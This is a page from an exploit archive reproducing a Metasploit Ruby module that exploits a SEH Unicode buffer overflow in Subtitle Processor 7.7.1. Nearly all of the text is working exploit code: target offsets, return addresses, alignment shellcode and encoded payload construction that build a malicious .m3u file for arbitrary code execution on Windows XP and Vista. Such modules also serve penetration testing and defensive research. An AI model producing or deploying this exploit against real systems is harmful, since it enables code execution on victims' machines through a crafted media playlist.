ExploitFixes
Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow 2011-04-29 15:15:04

##
# $Id: subtitle_processor_m3u_bof.rb 12461 2011-04-28 08:12:32Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Subtitle Processor 7. By
supplying a long string of data as a .m3u file, Subtitle Processor first converts
this input in Unicode, which expands the string size, and then attempts to copy it
inline on the stack. This results a buffer overflow with SEH overwritten, allowing
arbitrary code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12461 $",
'Author' =>
[
'Brandon Murphy', #Initial discovery, poc
'sinn3r', #Metasploit
],
'References' =>
[
[ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17217/' ],
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'BufferRegister' => 'ECX',
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3',
{
'Nop' => 0x43, #ADD BYTE PTR DS:[EBX],AL
'Offset' => 4078, #Offset to SEH chain
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
'Max' => 5000, #Max buffer size
},
],
[
'Windows Vista SP0',
{
'Nop' => 0x40, #ADD BYTE PTR DS:[EAX],AL
'Offset' => 4078, #Offset to SEH chain
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
'Max' => 5000, #Max buffer size
}
],
],
'Privileged' => false,
'DisclosureDate' => "Apr 26 2011" ))

register_options(
[
OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
], self.class)
end

def get_unicode_payload(p)
encoder = framework.encoders.create("x86/unicode_mixed")
encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} )
unicode_payload = encoder.encode(p, nil, nil, platform)
return unicode_payload
end

def exploit

#NOP between each instruction
nop = target['Nop']

sploit = ''

#Create the exploit
if target.name =~ /XP/

#PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX
alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1"
tmp = alignment << payload.encoded
p = get_unicode_payload(tmp)

#4050 bytes for shellcode
sploit << rand_text_alpha(2) #Padding
sploit << p
sploit << rand_text_alpha(target['Offset']-sploit.length)
sploit << "\x61"
sploit << nop
sploit << [target.ret].pack('V*')
sploit << nop
sploit << "\x61" #POPAD
sploit << nop
sploit << "\x61" #POPAD
sploit << nop
sploit << "\x61" #POPAD
sploit << nop
sploit << "\x51" #PUSH ECX (for x86/unicode_mixed)
sploit << nop
sploit << "\x5e" #POP ESI (for AlphanumMixed BufferRegister=ECX)
sploit << nop
sploit << "\x51" #PUSH ECX
sploit << nop
sploit << "\xc3" #RETN
sploit << rand_text_alpha(target['Max']-sploit.length)

elsif target.name =~ /Vista/

# PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
alignment = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
tmp = alignment << payload.encoded
p = get_unicode_payload(tmp)

#4008 bytes of space for shellcode
sploit << rand_text_alpha(62)
sploit << p
sploit << rand_text_alpha(target['Offset']-sploit.length)
sploit << "\x61"
sploit << nop
sploit << [target.ret].pack('V*')
sploit << nop
sploit << "\x61"
sploit << nop
sploit << "\x61"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x56"
sploit << nop
sploit << "\x59"
sploit << nop
sploit << "\x56"
sploit << nop
sploit << "\xc3"
sploit << nop
sploit << rand_text_alpha(target['Max']-sploit.length)

end

#Generate file
print_status("Creating #{datastore['FILENAME']}...")
file_create(sploit)

end
end